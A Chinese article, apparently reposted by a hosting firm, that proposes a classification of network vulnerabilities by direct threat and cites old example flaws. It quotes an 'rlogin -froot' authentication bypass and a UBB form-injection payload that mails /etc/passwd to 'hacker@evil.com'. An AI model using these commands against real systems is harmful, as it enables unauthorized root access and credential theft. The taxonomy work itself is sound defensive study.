写本文的目地是为了总结一些东西,解决在试图构造一个漏洞数据库的过程中碰到的主要问题,也就是如何对电脑网络漏洞进行分类的问题。文中的一些想法并不成熟,有些甚至连自己也不满意,权作抛砖引玉,以期和在这方面有深入研究的同仁交流,一起提高完善。
一个电脑网络安全漏洞有他多方面的属性,我认为主要能够用以下几个方面来概括:漏洞可能造成的直接威胁,漏洞的成因,漏洞的严重性,漏洞被利用的方式。以下的讨论将回绕这几个方面对漏洞细分其类。
A.按漏洞可能对系统造成的直接威胁
能够大致分成以下几类,事实上一个系统漏洞对安全造成的威胁远不限于他的直接可能性,假如攻击者获得了对系统的一般用户访问权限,他就极有可能再通过利用本地漏洞把自己升级为管理员权限:
一.远程管理员权限
攻击者无须一个账号登录到本地直接获得远程系统的管理员权限,通常通过攻击以root身份执行的有缺陷的系统守护进程来完成。漏洞的绝大部分来源于缓冲区溢出,少部分来自守护进程本身的逻辑缺陷。
典型漏洞:
IMAP4rev1 v10.190版的守护进程imapd的AUTHENTICATE命令存在读入参数时未做长度检查,构造一个精心设计的AUTH命令串,能够溢出imapd的缓冲区,执行指定的命令,由于imapd以root身份运行,从而直接获得机器的root权限。
WindowsNT IIS 4.0的ISAPI DLL对输入的URL未做适当的边界检查,假如构造一个超长的URL,能够溢出IIS (inetinfo.exe)的缓冲区,执行我们指定的代码。由于inetinfo.exe是以local system身份启动,溢出后能够直接得到管理员权限。
早期AIX 3.2 rlogind代码存在认证逻辑缺陷,用rlogin victim.com -l -froot,能够直接以root身份登录到系统而无须提供口令。
二.本地管理员权限
攻击者在已有一个本地账号能够登录到系统的情况下,通过攻击本地某些有缺陷的suid程式,竞争条件等手段,得到系统的管理员权限。
典型漏洞:
RedHat Linux的restore是个suid程式,他的执行依靠一个中RSH的环境变量,通过配置环境变量PATH,能够使RSH变量中的可执行程式以root身份运行,从而获得系统的root权限。
Solaris 7的Xsun程式有suid位,他对输入参数未做有效的边界检查,能够很容易地溢出他的缓冲区,以root身份运行我们指定的代码,从而获得管理员权限。
在windows2000下,攻击者就有机会让网络DDE(一种在不同的Windows机器上的应用程式之间动态共享数据的技术)代理在本地系统用户的安全上下文中执行其指定的代码,从而提升权限并完全控制本地机器。
三.普通用户访问权限
攻击者利用服务器的漏洞,取得系统的普通用户存取权限,对UNIX类系统通常是shell访问权限,对Windows系统通常是cmd.exe的访问权限,能够以一般用户的身份执行程式,存取文档。攻击者通常攻击以非root身份运行的守护进程,有缺陷的cgi程式等手段获得这种访问权限。
典型漏洞:
UBB是个广泛运行于各种UNIX和Windows系统的论坛程式,用PERL实现,他的5.19以下版本存在输入验证问题,通过提交精心构造的表单内容,能够使UBB去执行shell命令,因为一般的web服务器以nobody身份运行,因此能够得到一个nobody shell。比如提交这样的数据:topic='012345.ubb|mail hacker@evil.com </etc/passwd|',我们就能够得到系统的passwd文档。
RedHat Linux 6.2带的innd 2.2.2.3版新闻服务器,存在缓冲区溢出漏洞,通过一个精心构造的新闻信件能够使innd服务器以news身份运行我们指定的代码,得到一个innd权限的shell。
Windows IIS 4.0-5.0存在Unicode解码漏洞,能够使攻击者利用cmd.exe以guest组的权限在系统上运行程式。相当于取得了普通用户的权限。
四.权限提升
攻击者在本地通过攻击某些有缺陷的sgid程式,把自己的权限提升到某个非root用户的水平。获得管理员权限能够看做是一种特别的权限提升,只是因为威胁的大小不同而把他单独出来。
典型漏洞:
RedHat Linux 6.1带的man程式为sgid man,他存在format bug,通过对他的溢出攻击,能够使攻击者得到man组的用户权限。
Solaris 7的write程式为sgid tty,他存在缓冲区溢出问题,通过对他的攻击能够攻击者得到tty组的用户权限。
WindowsNT系统中,攻击者能够使系统中其他用户装入一个”特洛化”的porfile,使其他用户执行攻击者的恶意代码,有时甚至是管理员。
五.读取受限文档
攻击者通过利用某些漏洞,读取系统中他应该没有权限的文档,这些文档通常是安全相关的。这些漏洞的存在可能是文档配置权限不正确,或是特权进程对文档的不正确处理和意外dump core使受限文档的一部份dump到了core文档中。
典型漏洞:
SunOS 5.5的ftpd存在漏洞,一般用户能够引起ftpd出错而dump出一个全局可读的core文档,里面有shadow文档的片断,从而使一般用户能读到shadow的部分内容。
SuSE 6.2的suid程式pg,对他的配置文档处理存在问题,当把pb.conf链接到特权文档,能够用pb读取那些文档的内容。
Oracle 8.0.3 Enterprise Edition for NT 4.0的日志文档全局可读而且为明文,他记录了连接的口令,很可能被攻击者读到。
六.远程拒绝服务
攻击者利用这类漏洞,无须登录即可对系统发起拒绝服务攻击,使系统或相关的应用程式崩溃或失去响应能力。这类漏洞通常是系统本身或其守护进程有缺陷或配置不正确造成的。
早期的Linux 和 BSD的tcp/ip堆栈的ip 片断重组模块存在缺陷,攻击通过向系统发出特别的ip片断包能够使机器崩溃。
Windows2000带的Netmeeting 3.01存在缺陷,通过向他发送二进制数据流,能够使服务器的CPU占用达到100%。
通过发送一个带有超长参数的USER命令给AnalogX Proxy Server 4.04的ftp端口,能够使这个应用程式崩溃。
七.本地拒绝服务
在攻击者登录到系统后,利用这类漏洞,能够使系统本身或应用程式崩溃。这种漏洞主要因为是程式对意外情况的处理失误,如写临时文档之前不检查文档是否存在,盲目跟随链接等。
BSDi 3.x存在漏洞能够使一个本地用户用一些垃圾覆盖系统上的任何,这样会很容易地把系统搞成不可用。
RedHat 6.1的tmpwatch程式存在缺陷,能够使系统fork()出许多进程,从而使系统失去响应能力。
八.远程非授权文档存取
利用这类漏洞,攻击能够不经授权地从远程存取系统的某些文档。这类漏洞主要是由一些有缺陷的cgi程式引起的,他们对用户输入没有做适当的合法性检查,使攻击者通过构造特别的输入获得对文档存取。
文章整理:西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!



